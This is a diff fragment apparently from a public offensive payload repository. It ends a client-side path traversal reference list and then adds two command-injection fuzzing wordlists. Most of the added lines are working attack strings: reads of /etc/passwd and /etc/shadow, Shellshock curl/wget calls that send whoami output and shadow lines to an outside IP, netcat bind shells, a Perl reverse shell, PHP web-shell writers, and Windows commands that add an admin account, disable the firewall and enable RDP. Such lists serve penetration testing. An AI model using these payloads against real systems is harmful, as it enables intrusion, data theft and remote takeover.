+ * [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
62
+ * [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
63
+
64
+
65
+ ## Labs
66
+
67
+ * [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
68
+ * [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
69
+
70
+
71
+ ## References
72
+
73
+ - [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
74
+ - [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
75
+ - [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
76
+ - [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
77
+ - [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
78
+ - [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
79
+ - [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
payloads/Command Injection/Intruder/command-execution-unix.txt ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
2
+ &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
3
+ &lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
4
+ &lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
5
+ /index.html|id|
6
+ ";id;"
7
+ ';id;'
8
+ ;id;
9
+ ;id
10
+ ;netstat -a;
11
+ "|id|"
12
+ '|id|'
13
+ |id
14
+ |/usr/bin/id
15
+ |id|
16
+ "|/usr/bin/id|"
17
+ '|/usr/bin/id|'
18
+ |/usr/bin/id|
19
+ "||/usr/bin/id|"
20
+ '||/usr/bin/id|'
21
+ ||/usr/bin/id|
22
+ |id;
23
+ ||/usr/bin/id;
24
+ ;id|
25
+ ;|/usr/bin/id|
26
+ "\n/bin/ls -al\n"
27
+ '\n/bin/ls -al\n'
28
+ \n/bin/ls -al\n
29
+ \n/usr/bin/id\n
30
+ \nid\n
31
+ \n/usr/bin/id;
32
+ \nid;
33
+ \n/usr/bin/id|
34
+ \nid|
35
+ ;/usr/bin/id\n
36
+ ;id\n
37
+ |usr/bin/id\n
38
+ |nid\n
39
+ `id`
40
+ `/usr/bin/id`
41
+ a);id
42
+ a;id
43
+ a);id;
44
+ a;id;
45
+ a);id|
46
+ a;id|
47
+ a)|id
48
+ a|id
49
+ a)|id;
50
+ a|id
51
+ |/bin/ls -al
52
+ a);/usr/bin/id
53
+ a;/usr/bin/id
54
+ a);/usr/bin/id;
55
+ a;/usr/bin/id;
56
+ a);/usr/bin/id|
57
+ a;/usr/bin/id|
58
+ a)|/usr/bin/id
59
+ a|/usr/bin/id
60
+ a)|/usr/bin/id;
61
+ a|/usr/bin/id
62
+ ;system('cat%20/etc/passwd')
63
+ ;system('id')
64
+ ;system('/usr/bin/id')
65
+ %0Acat%20/etc/passwd
66
+ %0A/usr/bin/id
67
+ %0Aid
68
+ %22%0A/usr/bin/id%0A%22
69
+ %27%0A/usr/bin/id%0A%27
70
+ %0A/usr/bin/id%0A
71
+ %0Aid%0A
72
+ "& ping -i 30 127.0.0.1 &"
73
+ '& ping -i 30 127.0.0.1 &'
74
+ & ping -i 30 127.0.0.1 &
75
+ & ping -n 30 127.0.0.1 &
76
+ %0a ping -i 30 127.0.0.1 %0a
77
+ `ping 127.0.0.1`
78
+ | id
79
+ & id
80
+ ; id
81
+ %0a id %0a
82
+ `id`
83
+ $;/usr/bin/id
payloads/Command Injection/Intruder/command_exec.txt ADDED
@@ -0,0 +1,448 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ `
2
+ ||
3
+ |
4
+ ;
5
+ '
6
+ '"
7
+ "
8
+ "'
9
+ &
10
+ &&
11
+ %0a
12
+ %0a%0d
13
+ %0Acat%20/etc/passwd
14
+ %0Aid
15
+ %0a id %0a
16
+ %0Aid%0A
17
+ %0a ping -i 30 127.0.0.1 %0a
18
+ %0A/usr/bin/id
19
+ %0A/usr/bin/id%0A
20
+ %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
21
+ %20{${phpinfo()}}
22
+ %20{${sleep(20)}}
23
+ %20{${sleep(3)}}
24
+ a|id|
25
+ a;id|
26
+ a;id;
27
+ a;id\n
28
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
29
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
30
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
31
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
32
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
33
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
34
+ () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
35
+ () { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
36
+ () { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
37
+ () { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
38
+ () { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
39
+ () { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
40
+ () { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
41
+ () { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
42
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
43
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
44
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
45
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
46
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
47
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
48
+ () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
49
+ cat /etc/hosts
50
+ $(`cat /etc/passwd`)
51
+ cat /etc/passwd
52
+ () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12
53
+ | curl http://crowdshield.com/.testing/rce.txt
54
+ & curl http://crowdshield.com/.testing/rce.txt
55
+ ; curl https://crowdshield.com/.testing/rce_vuln.txt
56
+ && curl https://crowdshield.com/.testing/rce_vuln.txt
57
+ curl https://crowdshield.com/.testing/rce_vuln.txt
58
+ curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
59
+ curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
60
+ $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
61
+ dir
62
+ | dir
63
+ ; dir
64
+ $(`dir`)
65
+ & dir
66
+ &&dir
67
+ && dir
68
+ | dir C:\
69
+ ; dir C:\
70
+ & dir C:\
71
+ && dir C:\
72
+ dir C:\
73
+ | dir C:\Documents and Settings\*
74
+ ; dir C:\Documents and Settings\*
75
+ & dir C:\Documents and Settings\*
76
+ && dir C:\Documents and Settings\*
77
+ dir C:\Documents and Settings\*
78
+ | dir C:\Users
79
+ ; dir C:\Users
80
+ & dir C:\Users
81
+ && dir C:\Users
82
+ dir C:\Users
83
+ ;echo%20'<script>alert(1)</script>'
84
+ echo '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
85
+ | echo "<?php include($_GET['page'])| ?>" > rfi.php
86
+ ; echo "<?php include($_GET['page']); ?>" > rfi.php
87
+ & echo "<?php include($_GET['page']); ?>" > rfi.php
88
+ && echo "<?php include($_GET['page']); ?>" > rfi.php
89
+ echo "<?php include($_GET['page']); ?>" > rfi.php
90
+ | echo "<?php system('dir $_GET['dir']')| ?>" > dir.php
91
+ ; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
92
+ & echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
93
+ && echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
94
+ echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
95
+ | echo "<?php system($_GET['cmd'])| ?>" > cmd.php
96
+ ; echo "<?php system($_GET['cmd']); ?>" > cmd.php
97
+ & echo "<?php system($_GET['cmd']); ?>" > cmd.php
98
+ && echo "<?php system($_GET['cmd']); ?>" > cmd.php
99
+ echo "<?php system($_GET['cmd']); ?>" > cmd.php
100
+ ;echo '<script>alert(1)</script>'
101
+ echo '<script>alert(1)</script>'// XXXXXXXXXXX
102
+ echo '<script src=https://crowdshield.com/.testing/xss.js></script>'// XXXXXXXXXXX
103
+ | echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
104
+ ; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
105
+ & echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
106
+ && echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
107
+ echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
108
+ () { :;}; echo vulnerable 10
109
+ eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
110
+ eval('ls')
111
+ eval('pwd')
112
+ eval('pwd');
113
+ eval('sleep 5')
114
+ eval('sleep 5');
115
+ eval('whoami')
116
+ eval('whoami');
117
+ exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
118
+ exec('ls')
119
+ exec('pwd')
120
+ exec('pwd');
121
+ exec('sleep 5')
122
+ exec('sleep 5');
123
+ exec('whoami')
124
+ exec('whoami');
125
+ ;{$_GET["cmd"]}
126
+ `id`
127
+ |id
128
+ | id
129
+ ;id
130
+ ;id|
131
+ ;id;
132
+ & id
133
+ &&id
134
+ ;id\n
135
+ ifconfig
136
+ | ifconfig
137
+ ; ifconfig
138
+ & ifconfig
139
+ && ifconfig
140
+ /index.html|id|
141
+ ipconfig
142
+ | ipconfig /all
143
+ ; ipconfig /all
144
+ & ipconfig /all
145
+ && ipconfig /all
146
+ ipconfig /all
147
+ ls
148
+ $(`ls`)
149
+ | ls -l /
150
+ ; ls -l /
151
+ & ls -l /
152
+ && ls -l /
153
+ ls -l /
154
+ | ls -laR /etc
155
+ ; ls -laR /etc
156
+ & ls -laR /etc
157
+ && ls -laR /etc
158
+ | ls -laR /var/www
159
+ ; ls -laR /var/www
160
+ & ls -laR /var/www
161
+ && ls -laR /var/www
162
+ | ls -l /etc/
163
+ ; ls -l /etc/
164
+ & ls -l /etc/
165
+ && ls -l /etc/
166
+ ls -l /etc/
167
+ ls -lh /etc/
168
+ | ls -l /home/*
169
+ ; ls -l /home/*
170
+ & ls -l /home/*
171
+ && ls -l /home/*
172
+ ls -l /home/*
173
+ *; ls -lhtR /var/www/
174
+ | ls -l /tmp
175
+ ; ls -l /tmp
176
+ & ls -l /tmp
177
+ && ls -l /tmp
178
+ ls -l /tmp
179
+ | ls -l /var/www/*
180
+ ; ls -l /var/www/*
181
+ & ls -l /var/www/*
182
+ && ls -l /var/www/*
183
+ ls -l /var/www/*
184
+ <!--#exec cmd="/bin/cat /etc/passwd"-->
185
+ <!--#exec cmd="/bin/cat /etc/shadow"-->
186
+ <!--#exec cmd="/usr/bin/id;-->
187
+ \n
188
+ \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`
189
+ \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`
190
+ \n/bin/ls -al\n
191
+ | nc -lvvp 4444 -e /bin/sh|
192
+ ; nc -lvvp 4444 -e /bin/sh;
193
+ & nc -lvvp 4444 -e /bin/sh&
194
+ && nc -lvvp 4444 -e /bin/sh &
195
+ nc -lvvp 4444 -e /bin/sh
196
+ nc -lvvp 4445 -e /bin/sh &
197
+ nc -lvvp 4446 -e /bin/sh|
198
+ nc -lvvp 4447 -e /bin/sh;
199
+ nc -lvvp 4448 -e /bin/sh&
200
+ \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n
201
+ \necho INJECTX\nexit\n\033[2Asleep 5\n
202
+ \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n
203
+ | net localgroup Administrators hacker /ADD
204
+ ; net localgroup Administrators hacker /ADD
205
+ & net localgroup Administrators hacker /ADD
206
+ && net localgroup Administrators hacker /ADD
207
+ net localgroup Administrators hacker /ADD
208
+ | netsh firewall set opmode disable
209
+ ; netsh firewall set opmode disable
210
+ & netsh firewall set opmode disable
211
+ && netsh firewall set opmode disable
212
+ netsh firewall set opmode disable
213
+ netstat
214
+ ;netstat -a;
215
+ | netstat -an
216
+ ; netstat -an
217
+ & netstat -an
218
+ && netstat -an
219
+ netstat -an
220
+ | net user hacker Password1 /ADD
221
+ ; net user hacker Password1 /ADD
222
+ & net user hacker Password1 /ADD
223
+ && net user hacker Password1 /ADD
224
+ net user hacker Password1 /ADD
225
+ | net view
226
+ ; net view
227
+ & net view
228
+ && net view
229
+ net view
230
+ \nid|
231
+ \nid;
232
+ \nid\n
233
+ \n/usr/bin/id\n
234
+ perl -e 'print "X"x1024'
235
+ || perl -e 'print "X"x16096'
236
+ | perl -e 'print "X"x16096'
237
+ ; perl -e 'print "X"x16096'
238
+ & perl -e 'print "X"x16096'
239
+ && perl -e 'print "X"x16096'
240
+ perl -e 'print "X"x16384'
241
+ ; perl -e 'print "X"x2048'
242
+ & perl -e 'print "X"x2048'
243
+ && perl -e 'print "X"x2048'
244
+ perl -e 'print "X"x2048'
245
+ || perl -e 'print "X"x4096'
246
+ | perl -e 'print "X"x4096'
247
+ ; perl -e 'print "X"x4096'
248
+ & perl -e 'print "X"x4096'
249
+ && perl -e 'print "X"x4096'
250
+ perl -e 'print "X"x4096'
251
+ || perl -e 'print "X"x8096'
252
+ | perl -e 'print "X"x8096'
253
+ ; perl -e 'print "X"x8096'
254
+ && perl -e 'print "X"x8096'
255
+ perl -e 'print "X"x8192'
256
+ perl -e 'print "X"x81920'
257
+ || phpinfo()
258
+ | phpinfo()
259
+ {${phpinfo()}}
260
+ ;phpinfo()
261
+ ;phpinfo();//
262
+ ';phpinfo();//
263
+ {${phpinfo()}}
264
+ & phpinfo()
265
+ && phpinfo()
266
+ phpinfo()
267
+ phpinfo();
268
+ <?php system("cat /etc/passwd");?>
269
+ <?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
270
+ <?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj");?>
271
+ <?php system("echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
272
+ <?php system("sleep 10");?>
273
+ <?php system("sleep 5");?>
274
+ <?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
275
+ <?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
276
+ :phpversion();
277
+ `ping 127.0.0.1`
278
+ & ping -i 30 127.0.0.1 &
279
+ & ping -n 30 127.0.0.1 &
280
+ ;${@print(md5(RCEVulnerable))};
281
+ ${@print("RCEVulnerable")}
282
+ ${@print(system($_SERVER['HTTP_USER_AGENT']))}
283
+ pwd
284
+ | pwd
285
+ ; pwd
286
+ & pwd
287
+ && pwd
288
+ \r
289
+ | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
290
